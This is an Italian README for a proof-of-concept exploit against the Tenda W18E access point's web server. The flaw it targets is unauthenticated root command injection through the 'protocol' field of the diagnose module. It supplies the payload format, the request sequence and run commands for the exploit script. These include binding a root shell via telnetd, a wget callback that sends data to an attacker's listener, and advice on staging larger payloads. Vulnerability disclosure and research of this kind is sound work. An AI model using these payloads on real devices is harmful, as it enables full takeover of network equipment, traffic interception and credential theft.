
Proof-of-concept per l'iniezione di comandi OS root non autenticata nel modulo httpd diagnose dell'AP Tenda W18E, con uno script di exploit auto-verificante e un harness di emulazione QEMU MIPS.
diagnose)Iniezione di comandi del sistema operativo nel web server del Tenda W18E High-Power AP (/bin/httpd). Un
attaccante remoto può eseguire comandi shell arbitrari come root, e su un dispositivo in
stato di fabbrica / post-reset l'attacco non richiede alcuna autenticazione.
| Prodotto | Tenda W18E High-Power AP |
| Firmware (testato) | US_W18EV2_kf_V16.01.0.20(4766)_HighPower |
| Componente | /bin/httpd (MIPS32 little-endian, musl, basato su GoAhead) |
| Classe | CWE-78 Iniezione di comandi del sistema operativo → esecuzione di comandi arbitrari come root |
| Endpoint | POST /goform/setModules, POST /goform/getModules (modulo diagnose) |
| Autenticazione | Nessuna finché quickset.done == 0 (fabbrica / post-reset); altrimenti qualsiasi sessione valida |
| Campo vulnerabile | protocol (anche targetDevice) nell'oggetto JSON diagnose |
| CVE | in attesa |
⚠️ Solo test autorizzati. Utilizzare questo strumento contro dispositivi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test. Vedere Legale / uso responsabile.
La funzionalità "network check / packet capture" memorizza i campi JSON forniti dall'utente nel config store e successivamente li inserisce in un comando shell.
Memorizzazione (nessuna sanificazione): formSetNetCheckTools (httpd @ 0x4e0968) legge il campo JSON
protocol e lo scrive nella chiave di configurazione net.check.protocol. Il controllo dei metacaratteri shell
del fornitore (prod_system_param_valid) viene applicato al campo adiacente ip
ma non a protocol / targetDevice.
Uso (sink): avviando una cattura, do_packet_action (httpd @ 0x4ddbd0) rilegge il
valore e costruisce un comando tcpdump con snprintf, per poi eseguirlo tramite
doSystemCmd → system(3):
// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd); // -> vsnprintf() -> system(cmd) -> /bin/sh -c ...
Qualsiasi metacarattere di shell in protocol viene quindi eseguito. httpd viene eseguito come root, quindi anche il comando iniettato lo è.
POST /goform/setModules {"diagnose":{... "protocol":";<cmd>;#" ...}}
│ formSetModules -> cJSON_Parse(request body)
│ formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value) [no validation]
▼
config store
│ getModules -> do_packet_action
│ GetValue("net.check.protocol") -> snprintf("tcpdump ... %s ... &", value)
▼
doSystemCmd(cmd) -> system() -> /bin/sh -c ← injection executes as root
setModules si limita a memorizzare il payload; il worker di cattura (e quindi system())
viene avviato dalla successiva getModules. La risposta HTTP di getModules è un campo di stato
e riporta "insufficient memory" (内存不足…) anche in caso di successo — quindi non trattare
mai la risposta HTTP come il risultato. Verifica fuori banda.
.
├── poc.sh # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt # reference capture of a successful run
├── harness/ # reproduce with NO hardware (full-system MIPS emulation)
│ ├── build_and_run.sh # build emulated rootfs + boot httpd on 127.0.0.1:8080
│ ├── cfmstub.c # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│ ├── init_poc.sh # guest init: mount, seed config, bring up eth0
│ └── sercon.py # drive the guest serial console
├── LICENSE
└── README.md
Metti l'AP nel suo stato predefinito/di fabbrica (oppure accedi e riutilizza la sessione) e connettiti
alla sua LAN. Annota il suo IP (comunemente 192.168.0.1).
Avvia il PoC auto-verificante:
./poc.sh 192.168.0.1
Scrive un file di prova nella web root e lo rilegge, stampando ad es.
W18E-RCE-OK-uid0 → il comando è stato eseguito come uid 0 (root).
Esegui il tuo comando:
./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999' # bind a root shell (telnetd ships on the device)
telnet 192.168.0.1 9999 # ... then connect to it
Oppure un callback di rete cieco verso un listener che controlli (sostituisci con il tuo IP LAN):
# on your machine: nc -lvnp 4444
./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
# your listener shows: GET /uid_0 HTTP/1.1
Limite di dimensione del payload. Il comando viene assemblato con
snprintfin un buffer di 256 byte (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Mantieni il comando iniettato sotto i ~110 caratteri, altrimenti la coda viene troncata e non viene eseguito nulla. Per qualsiasi cosa più grande, preparala in anticipo:wget/tftpdi uno script o di un binario MIPS-LE in/tmp,chmod +x, eseguilo.Nessun
id/whoamisul dispositivo. Il suo BusyBox è ridotto all'osso (id,whoami,ncnon sono compilati). Gli strumenti disponibili includonosh,awk,grep,cat,cut,sed,wget,tftp,telnetd,ping. Dimostra i privilegi di root tramite/proc/self/status(uid 0) come fa il PoC.
L'harness avvia l'httpd originale e le sue .so fornite in dotazione sotto emulazione MIPS
full-system. Solo GetValue/SetValue sono shimmati (cfmstub.c tramite LD_PRELOAD), perché
il daemon di configurazione cfmd sul dispositivo necessita della flash NAND che l'emulatore non ha — tutto il codice
vulnerabile è firmware non modificato. (QEMU in modalità utente non funziona qui: il server GoAhead
multithread va in deadlock su FUTEX_LOCK_PI; è necessario un kernel reale.)
sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld: sudo apt install clang lld
Hai anche bisogno di un kernel MIPSEL malta che avvii un rootfs ext2 — va bene qualsiasi vmlinux.mipsel.4 di firmadyne/FirmAE.
cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh # prints: httpd is live at http://127.0.0.1:8080/
../poc.sh 127.0.0.1:8080 # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'
L'output atteso è in EXPECTED_OUTPUT.txt. Nell'emulatore l'host
è raggiungibile dal guest all'indirizzo 10.0.2.2 (NAT in modalità user di QEMU), quindi i payload
con callback di rete dovrebbero puntare a 10.0.2.2:<port>.
Esecuzione di comandi remoti come root non autenticata (stato di fabbrica) su un access point: compromissione completa del dispositivo — backdoor persistente, intercettazione del traffico (è letteralmente la funzionalità di cattura dei pacchetti), furto di credenziali/configurazioni, pivot sulla LAN o bricking.